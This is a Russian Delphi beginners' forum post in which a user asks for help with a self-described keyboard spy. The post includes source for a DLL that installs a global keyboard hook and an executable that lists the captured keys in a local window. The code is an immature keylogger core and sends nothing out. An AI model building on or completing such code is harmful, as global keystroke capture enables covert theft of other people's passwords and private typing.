Модераторы: Snowy, MetalFan, bems, Poseidon
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Клавиатурный шпион, Помогите разобраться 
:(
    Опции темы
Romы4
Дата 13.1.2010, 14:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 43
Регистрация: 25.6.2009

Репутация: нет
Всего: нет



Доброго времени суток.
Возникла необходимость написать шпион для клавы, лазил по форумам, читал кучу примеров. Попробывал с реализацией через dll, пока окно моей программы активно хук работает отлично (в поле листбокса выписывает нажатые кнопки), как только окно перестает быть активным в поле листбокса ничего не пишется. Еще одна странность-если запускать через отладчик, затем убрать фокус с проги, понажимать кнопки, затем остановить прогу, то все нажатые кнопки выпишутся в листбокс через редактор среды дельфы (только те кнопки которые были нажаты когда окно было неактивно)....помогите разобраться пожалуйста.

текст библиотеки:

Код

library hook;
Uses Windows, Messages, Sysutils;

var
  myHook: HHook = 0;

function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall;
var c: char;
    f: text;
    key: array [0..16] of Char;
    s:string;
    m1,m2:hwnd;
    begin
  if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then
  begin

GetKeyNameText(lParam,key,SizeOf(key));

m1:=findwindow(nil,'form1');
m2:=findwindowex(m1,0,'tlistbox',nil);
s:=key;
SendMessage(m2,LB_ADDSTRING,0,LongInt(Pchar(s)));

result:=CallNextHookEx(myHook,Code,wParam,lParam);

  end;
end;

procedure setHook(Hook: boolean) export; stdcall;
begin
  if Hook then
  begin
    if myHook=0 then
    myHook:=SetWindowsHookEx(WH_KEYBOARD,@MsgProc,HInstance,0);
  end
  else
  begin
    if myHook<>0 then
    UnHookWindowsHookEx(myHook);
    myHook:=0;
  end;
end;

exports setHook name 'SetHook';

begin
end.




Текст экзешника:
Код

unit Unit1;

interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormShow(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

procedure setHook(Hook: boolean) stdcall; external 'hook.dll' name 'SetHook';

implementation

{$R *.DFM}

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
setHook(false);
end;
          
procedure TForm1.FormShow(Sender: TObject);
begin
setHook(true);
end;

end.

PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Для новичков"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Для новичков | Следующая тема »


 




[ Время генерации скрипта: 0.0548 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.